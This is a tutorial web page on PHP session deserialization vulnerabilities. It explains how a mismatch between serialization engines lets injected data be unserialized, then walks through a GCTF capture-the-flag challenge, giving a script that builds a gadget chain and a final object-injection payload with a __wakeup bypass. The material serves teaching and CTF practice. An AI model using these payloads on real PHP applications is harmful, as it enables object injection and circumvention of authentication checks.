Home Backend Development PHP Tutorial Detailed explanation of PHP session deserialization vulnerability

Detailed explanation of PHP session deserialization vulnerability

Jan 03, 2018 pm 02:10 PM
php session Serialization

This article mainly introduces the session deserialization vulnerability of PHP. Friends in need can refer to it. I hope to be helpful.

There are three configuration items in php.ini:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php
Copy after login

The above options are options related to Session storage and sequence storage in PHP.

In the installation using the xampp component, the settings of the above configuration items are as follows:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎
Copy after login

In the above configuration, session.serialize_handler is used to set the serialization engine of the session, in addition to the default In addition to the PHP engine, there are other engines, and the session storage methods corresponding to different engines are different.

php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() function

php: The storage method is, key Name + vertical bar + value serialized by the serialize() function

php_serialize(php>5.5.4): The storage method is, value serialized by the serialize() function

The PHP engine is used by default in PHP. If you want to change it to another engine, you only need to add the code ini_set('session.serialize_handler', 'The engine that needs to be set');. The sample code is as follows:

The session directory is in /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);
Copy after login

Under the php_serialize engine, the data stored in the session file is:

a:1:{s:4:"name";s:6:"spoock";}
Copy after login

The content of the file under the php engine is:

name|s:6:"spoock";
Copy after login

php_binary The content of the file under the engine is:

names:6:"spoock";
Copy after login

Since the length of the name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last one is names:6:"spoock";. (Suddenly I found that characters with an ASCII value of 4 cannot be displayed on the web page. Please check the ASCII table yourself)

Serialization hazards in PHP Session

There is no problem with the implementation of Session in PHP. The harm is mainly caused by improper use of Session by programmers.

If the engine used by PHP to deserialize the stored $_SESSION data is different from the engine used for serialization, the data will not be deserialized correctly. Through carefully constructed data packets, it is possible to bypass program verification or execute some system methods. For example:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;
Copy after login

php file such as:

Copy after login

After accessing, the content of the session file is as follows:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
Copy after login

But at this time, the simulation uses different php engines on other pages. The content when reading is as follows: (By default, the php engine is used to read the session file)

a;
  }
}
// var_dump($_SESSION);
Copy after login

When accessing this page, the output is xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
Copy after login

This is because when the php engine is used, the php engine will | is used as the separator between key and value, then a:1:{s:4:"ryat";s:30:" will be used as the SESSION key, and O:1:"A":1:{s :1:"a";s:2:"xx";} as value, and then deserialize, and finally you will get the class A

This is due to serialization and deserialization. The different engines used are the cause of the PHP Session serialization vulnerability. When loading a page using the PHP engine, the session reads the content in the session and deserializes it, causing the vulnerability to be triggered without any output.

Analysis of a session deserialization vulnerability on GCTF:

The content in index.php is:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
Copy after login

In php, it is often used Serialization operation is used to access data, but if it is not handled properly during the serialization process, it will cause some security risks. The content in

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
Copy after login

query.php is:

/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/
Copy after login

. The idea is as follows:

In this question we construct a TOPC, which will be called during destruction echo $this->attr;;

Assign attr to the TOPB object, and the __tostring magic method will be automatically called when echo TOPB

In __tostring, it will be called unserialize($this->attr ), because token and ticket are used later, it is obviously a TOPA object that needs $this->obj->token === $this->obj->ticket##. #, so when serializing, make a pointer reference such that $a->ticket = &$a->token;, you can bypass the judgment

As for why##. #(string)$this->obj

will output the flag, and the login written in the background may be __tostring There will be a __wakeup() function in the deserialized string to clear it. The parameters, I asked can be bypassed through a CVE: CVE-2016-7124. The wakeup function can be bypassed by changing the field representing the quantity in the Object to a value larger than the actual field.


The final code is:

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
Copy after login

The final payload is:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
Copy after login

Related recommendations:


Detailed explanation of PHP's addition, deletion and modification of xml files

Detailed explanation of how PHP implements csv file import into the database

Detailed explanation of how PHP displays hexadecimal image data to the web page

The above is the detailed content of Detailed explanation of PHP session deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles